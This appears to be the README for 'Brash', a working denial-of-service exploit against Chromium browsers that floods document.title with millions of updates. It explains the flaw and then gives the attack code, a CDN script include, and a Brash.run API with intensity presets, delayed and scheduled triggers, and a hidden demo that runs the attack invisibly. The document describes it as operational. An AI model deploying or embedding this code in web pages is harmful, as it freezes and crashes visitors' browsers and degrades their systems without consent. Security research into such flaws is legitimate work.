
Chromium Browser DoS Attack via document.title Exploitation

Brash is a critical vulnerability in Blink, the rendering engine that powers Google's Chromium-based browsers. It allows any Chromium browser to collapse in 15-60 seconds by exploiting an architectural flaw in how certain DOM operations are managed.
The attack vector originates from the complete absence of rate limiting on document.title API updates. This allows injecting millions of DOM mutations per second, and during this injection attempt, it saturates the main thread, disrupting the event loop and causing the interface to collapse. The impact is significant, it consumes high CPU resources, degrades overall system performance, and can halt or slow down other processes running simultaneously. By affecting Chromium browsers on desktop, Android, and embedded environments, this vulnerability exposes over 3 billion people on the internet to system-level denial of service.
STATUS: Operational
AFFECTED VERSIONS: Chromium ≤ 143.0.7483.0 (tested: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] The exploit is currently operational. Once the vulnerability is patched, this code will cease to work. Regardless, discovering this architectural flaw and completing the entire research, documentation, and design process to share something impactful with the world has been an incredibly rewarding journey.
11 major browsers were tested on macOS, Windows, and Linux to validate the vulnerability's impact.
All Chromium-based browsers are vulnerable because the flaw exists in the core of the Blink rendering engine:
Brash exploits a fundamental architectural flaw in the Blink rendering engine: the absence of throttling on document.title updates. The attack operates in three critical phases:
Generates 100 unique hexadecimal strings of 512 characters and stores them in memory before starting the attack.
Why pre-load them instead of generating them in real-time?
Because constantly generating new strings consumes CPU time on mathematical operations. That time is critical—every millisecond spent generating strings is time NOT used to bombard the browser with document.title updates.
By having 100 strings already loaded in memory:
As a result, we achieve maximum injection speed with maximum memory consumption per update.
// Generates high-entropy unique IDs
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
Executes configurable bursts of title updates. With default configuration (burst: 8000, interval: 1ms), it attempts to inject approximately 24 million updates per second, and it's during this attempt that the browser collapse begins.
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Each burst performs 3 sequential updates
}
this.counter += 0x3;
}
Continuous updates saturate the browser's main thread, preventing the processing of other events:
Collapse timeline:
Why does it work?
Blink processes each document.title change synchronously on the main thread without rate limiting. This creates a bottleneck that:
To fully understand the impact of Brash, you can experience the exploit in different contexts, from a controlled live demo to your own implementation. Each option is designed for different levels of interaction and technical understanding.
The fastest way to see Brash in action. Visit https://brash.run
To see the exploit without a graphical interface, visit https://brash.run/hidden-live-demo.html. This version executes the injection invisibly, simulating a real attack.
If you prefer to run the demo in your own environment, the exploit-demo/ directory included in the repository allows you to:
Simply open exploit-demo/index.html in any Chromium browser and configure the burst and interval values before starting.
To integrate Brash into your own security testing or research, include the script and configure the attack:
Include the script:
<!-- Local -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
API Usage:
// 1. Immediate attack
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Delay in seconds (default)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 seconds
});
// 3. Delay with strings
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // or "5000ms" or "3m"
});
// 4. Scheduled attack
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
Intensity configurations:
// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({
burstSize: 200,
interval: 1000 // ~600 updates/sec
});
// Aggressive: rapid saturation
// Effect: Tabs freeze in 10-20 seconds
Brash.run({
burstSize: 2000,
interval: 100 // ~60,000 updates/sec
});
// Extreme: instant collapse
// Effect: Immediate freeze, total crash in 15-30 seconds
Brash.run({
burstSize: 8000,
interval: 1 // Attempts ~24M updates/sec (browser collapses during the attempt)
});
Note: Each burst executes 3 sequential
document.titleupdates. For example, burstSize: 400 = 1,200 actual updates per interval.